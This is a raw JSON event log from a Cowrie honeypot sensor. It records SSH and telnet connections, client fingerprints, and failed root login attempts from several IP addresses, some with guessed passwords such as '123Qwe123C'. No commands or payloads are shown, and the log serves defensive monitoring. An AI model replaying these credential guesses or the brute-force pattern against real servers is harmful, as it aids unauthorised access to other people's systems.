{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:08:de:14:eb:fe:07:85:fd:fe:df:dd:d1:9c:48:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdxg/Wc3ARjnwrkejiZzi5hFB7fJZYNGFrFC/M1imB45E5bv8NZopjNotxtFeZnH8hzRQlJQOyXHKYMZOGE3w+rh643z/2hZmuNt++XHDkr+sZJl8+M66kXSJCtu8J/2aTMu/v8H5I4Nzgcd5osahNj02rnBdY9QpQjesoOa0cg/95v2q8Xjz28GcLKNbZk9I0tvwm90uT5Oi9SgjlzAFgx97vKQ165wrvSD6+3HdEMFmSzL+K4EEZM4ANnnkAgBVn2DUBrttT1bvUL3yxb5U1qs2nbrZ28x1kKJQV6ewMdWQ5kodconws9DtHZMKfg8ATcp3vTemy3NUxkIEdqc9v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:08:de:14:eb:fe:07:85:fd:fe:df:dd:d1:9c:48:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:01:26.032743Z","src_ip":"141.95.34.214","session":"3d401d823860","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:08:de:14:eb:fe:07:85:fd:fe:df:dd:d1:9c:48:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdxg/Wc3ARjnwrkejiZzi5hFB7fJZYNGFrFC/M1imB45E5bv8NZopjNotxtFeZnH8hzRQlJQOyXHKYMZOGE3w+rh643z/2hZmuNt++XHDkr+sZJl8+M66kXSJCtu8J/2aTMu/v8H5I4Nzgcd5osahNj02rnBdY9QpQjesoOa0cg/95v2q8Xjz28GcLKNbZk9I0tvwm90uT5Oi9SgjlzAFgx97vKQ165wrvSD6+3HdEMFmSzL+K4EEZM4ANnnkAgBVn2DUBrttT1bvUL3yxb5U1qs2nbrZ28x1kKJQV6ewMdWQ5kodconws9DtHZMKfg8ATcp3vTemy3NUxkIEdqc9v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:01:26.037593Z","src_ip":"141.95.34.214","session":"3d401d823860","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:01:26.129298Z","src_ip":"141.95.34.214","session":"3d401d823860","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.071905612945557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:01:31.305207Z","src_ip":"50.6.8.71","session":"09ad8c2771bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41430,"dst_ip":"10.17.0.5","dst_port":23,"session":"c479bb6a2ea3","protocol":"telnet","message":"New connection: 50.6.8.71:41430 (10.17.0.5:23) [session: c479bb6a2ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:01:38.742640Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41432,"dst_ip":"10.17.0.5","dst_port":23,"session":"d048315db7f1","protocol":"telnet","message":"New connection: 50.6.8.71:41432 (10.17.0.5:23) [session: d048315db7f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:01:42.440696Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":58971,"dst_ip":"159.203.135.109","dst_port":22,"session":"901f1a635356","protocol":"ssh","message":"New connection: 201.77.124.248:58971 (159.203.135.109:22) [session: 901f1a635356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:01:51.269478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:01:51.279575Z","src_ip":"201.77.124.248","session":"901f1a635356","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:01:51.415768Z","src_ip":"201.77.124.248","session":"901f1a635356","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pembantu23@@","message":"login attempt [root/Pembantu23@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:01:51.990426Z","src_ip":"201.77.124.248","session":"901f1a635356","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:01:53.131596Z","src_ip":"201.77.124.248","session":"901f1a635356","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54448,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e81e579da2a","protocol":"telnet","message":"New connection: 50.6.8.71:54448 (10.17.0.5:23) [session: 8e81e579da2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:01:56.950226Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54456,"dst_ip":"10.17.0.5","dst_port":23,"session":"629984296aef","protocol":"telnet","message":"New connection: 50.6.8.71:54456 (10.17.0.5:23) [session: 629984296aef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:02:03.027291Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":52258,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e46fad304f4","protocol":"ssh","message":"New connection: 103.77.175.15:52258 (159.203.135.109:22) [session: 8e46fad304f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:02:11.112418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:02:11.117336Z","src_ip":"103.77.175.15","session":"8e46fad304f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:02:11.377521Z","src_ip":"103.77.175.15","session":"8e46fad304f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:02:12.160019Z","src_ip":"103.77.175.15","session":"8e46fad304f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":46842,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f9bbde6c463","protocol":"telnet","message":"New connection: 50.6.8.71:46842 (10.17.0.5:23) [session: 7f9bbde6c463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:02:12.615953Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:02:13.421879Z","src_ip":"103.77.175.15","session":"8e46fad304f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.33220553398132,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:02:18.772756Z","src_ip":"50.6.8.71","session":"d048315db7f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.87716221809387,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:02:19.619631Z","src_ip":"50.6.8.71","session":"c479bb6a2ea3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50972,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a33f6d17c0c","protocol":"telnet","message":"New connection: 50.6.8.71:50972 (10.17.0.5:23) [session: 1a33f6d17c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:02:20.186277Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.93","src_port":60402,"dst_ip":"159.203.135.109","dst_port":23,"session":"27a5e3048b46","protocol":"telnet","message":"New connection: 176.65.148.93:60402 (159.203.135.109:23) [session: 27a5e3048b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:02:24.795320Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50980,"dst_ip":"10.17.0.5","dst_port":23,"session":"12f050344d88","protocol":"telnet","message":"New connection: 50.6.8.71:50980 (10.17.0.5:23) [session: 12f050344d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:02:24.903710Z"}
{"eventid":"cowrie.session.closed","duration":31.21456503868103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:02:34.241701Z","src_ip":"50.6.8.71","session":"629984296aef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.93774604797363,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:02:36.887837Z","src_ip":"50.6.8.71","session":"8e81e579da2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.61564040184021,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:02:51.231480Z","src_ip":"50.6.8.71","session":"7f9bbde6c463","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.242936849594116,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:02:51.429105Z","src_ip":"50.6.8.71","session":"1a33f6d17c0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.958129167556763,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:02:54.753205Z","src_ip":"176.65.148.93","session":"27a5e3048b46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49820,"dst_ip":"10.17.0.5","dst_port":23,"session":"335ca06d18c2","protocol":"telnet","message":"New connection: 50.6.8.71:49820 (10.17.0.5:23) [session: 335ca06d18c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:02:55.821615Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49848,"dst_ip":"10.17.0.5","dst_port":23,"session":"c356e6cda8f8","protocol":"telnet","message":"New connection: 50.6.8.71:49848 (10.17.0.5:23) [session: c356e6cda8f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:02:58.125950Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49836,"dst_ip":"10.17.0.5","dst_port":23,"session":"07eaa42d1dbd","protocol":"telnet","message":"New connection: 50.6.8.71:49836 (10.17.0.5:23) [session: 07eaa42d1dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:02:58.890656Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49860,"dst_ip":"10.17.0.5","dst_port":23,"session":"48bda8b97f7d","protocol":"telnet","message":"New connection: 50.6.8.71:49860 (10.17.0.5:23) [session: 48bda8b97f7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:03:00.875316Z"}
{"eventid":"cowrie.session.closed","duration":37.010788440704346,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:03:01.914395Z","src_ip":"50.6.8.71","session":"12f050344d88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59248,"dst_ip":"10.17.0.5","dst_port":23,"session":"a520241db789","protocol":"telnet","message":"New connection: 50.6.8.71:59248 (10.17.0.5:23) [session: a520241db789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:03:09.047609Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59258,"dst_ip":"10.17.0.5","dst_port":23,"session":"01015f31edfb","protocol":"telnet","message":"New connection: 50.6.8.71:59258 (10.17.0.5:23) [session: 01015f31edfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:03:13.516039Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35810,"dst_ip":"10.17.0.5","dst_port":23,"session":"10b133de84c1","protocol":"telnet","message":"New connection: 50.6.8.71:35810 (10.17.0.5:23) [session: 10b133de84c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:03:19.102219Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35812,"dst_ip":"10.17.0.5","dst_port":23,"session":"49fa44d566f4","protocol":"telnet","message":"New connection: 50.6.8.71:35812 (10.17.0.5:23) [session: 49fa44d566f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:03:22.455086Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35826,"dst_ip":"10.17.0.5","dst_port":23,"session":"d84a716b7a61","protocol":"telnet","message":"New connection: 50.6.8.71:35826 (10.17.0.5:23) [session: d84a716b7a61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:03:25.516212Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35818,"dst_ip":"10.17.0.5","dst_port":23,"session":"c22419b339c7","protocol":"telnet","message":"New connection: 50.6.8.71:35818 (10.17.0.5:23) [session: c22419b339c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:03:26.475771Z"}
{"eventid":"cowrie.session.closed","duration":35.06199550628662,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:03:30.883517Z","src_ip":"50.6.8.71","session":"335ca06d18c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.007537603378296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:03:31.882502Z","src_ip":"50.6.8.71","session":"48bda8b97f7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.605337619781494,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:03:32.495890Z","src_ip":"50.6.8.71","session":"07eaa42d1dbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":27637,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ce85e5860a2","protocol":"ssh","message":"New connection: 201.77.124.248:27637 (159.203.135.109:22) [session: 8ce85e5860a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:03:35.593811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:03:35.598902Z","src_ip":"201.77.124.248","session":"8ce85e5860a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:03:35.731503Z","src_ip":"201.77.124.248","session":"8ce85e5860a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123Qwe123C","message":"login attempt [root/123Qwe123C] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:03:36.289255Z","src_ip":"201.77.124.248","session":"8ce85e5860a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:03:37.424275Z","src_ip":"201.77.124.248","session":"8ce85e5860a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.026835680007935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:03:44.542716Z","src_ip":"50.6.8.71","session":"01015f31edfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.90293526649475,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:03:45.028761Z","src_ip":"50.6.8.71","session":"c356e6cda8f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.53647065162659,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:03:49.583969Z","src_ip":"50.6.8.71","session":"a520241db789","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":32798,"dst_ip":"10.17.0.5","dst_port":23,"session":"b32b94552904","protocol":"telnet","message":"New connection: 50.6.8.71:32798 (10.17.0.5:23) [session: b32b94552904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:03:51.566789Z"}
{"eventid":"cowrie.session.closed","duration":33.33259034156799,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:03:52.434680Z","src_ip":"50.6.8.71","session":"10b133de84c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":32804,"dst_ip":"10.17.0.5","dst_port":23,"session":"d715fd931cda","protocol":"telnet","message":"New connection: 50.6.8.71:32804 (10.17.0.5:23) [session: d715fd931cda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:03:52.652778Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":32818,"dst_ip":"10.17.0.5","dst_port":23,"session":"a24357eb1848","protocol":"telnet","message":"New connection: 50.6.8.71:32818 (10.17.0.5:23) [session: a24357eb1848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:03:56.364980Z"}
{"eventid":"cowrie.session.closed","duration":40.14228677749634,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:04:02.597259Z","src_ip":"50.6.8.71","session":"49fa44d566f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.579185485839844,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:04:05.054835Z","src_ip":"50.6.8.71","session":"c22419b339c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.5205295085907,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:04:06.036559Z","src_ip":"50.6.8.71","session":"d84a716b7a61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":47954,"dst_ip":"10.17.0.5","dst_port":22,"session":"9564810b0b2e","protocol":"ssh","message":"New connection: 176.65.132.190:47954 (10.17.0.5:22) [session: 9564810b0b2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:04:09.814171Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:04:09.819954Z","src_ip":"176.65.132.190","session":"9564810b0b2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34008,"dst_ip":"10.17.0.5","dst_port":23,"session":"16eba2abd41a","protocol":"telnet","message":"New connection: 50.6.8.71:34008 (10.17.0.5:23) [session: 16eba2abd41a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:04:20.365579Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.7.136.106","src_port":40976,"dst_ip":"159.203.135.109","dst_port":22,"session":"37ef2213102b","protocol":"ssh","message":"New connection: 50.7.136.106:40976 (159.203.135.109:22) [session: 37ef2213102b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:04:25.539090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:04:25.545990Z","src_ip":"50.7.136.106","session":"37ef2213102b","protocol":"ssh"}
